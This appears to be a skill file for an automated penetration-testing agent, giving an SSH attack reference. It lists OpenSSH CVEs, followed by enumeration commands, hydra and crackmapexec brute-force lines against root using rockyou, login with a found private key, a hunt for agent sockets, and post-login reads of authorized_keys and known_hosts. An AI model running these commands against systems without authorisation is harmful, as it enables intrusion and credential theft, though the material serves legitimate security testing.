| name | svc-ssh |
| description | SSH attack techniques — version CVEs, auth-method/user enumeration, key issues, targeted brute. Use when SSH is open. Triggers - port 22, OpenSSH banner, regreSSHion CVE-2024-6387, user-enum CVE-2018-15473, authorized_keys, weak/leaked key. |
SSH Attack Reference
Version-Specific CVEs
- OpenSSH <7.7 (CVE-2018-15473): Username enumeration via timing
- OpenSSH 8.5-9.7 (CVE-2024-6387 / regreSSHion): Race condition → unauthenticated RCE (glibc-based Linux)
- OpenSSH <6.6: Various auth bypass and info disclosure
Enumeration
nc -nv <target> 22
nmap -sV -p 22 <target>
ssh-audit <target>
ssh -o PreferredAuthentications=none -o PubkeyAuthentication=no <target> 2>&1
nmap --script ssh-auth-methods -p 22 <target>
Credential Attacks
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4 -f
hydra -L users.txt -p admin ssh://<target> -t 4
hydra -l root -p toor ssh://<target>
crackmapexec ssh <target> -u users.txt -p passwords.txt --no-bruteforce
Key-Based Attacks
nmap --script ssh-hostkey --script-args ssh_hostkey=full -p 22 <target>
chmod 600 found_key
ssh -i found_key <user>@<target>
find /tmp -name "agent.*" 2>/dev/null
Post-Auth
cat ~/.ssh/authorized_keys
cat ~/.ssh/config
cat ~/.ssh/known_hosts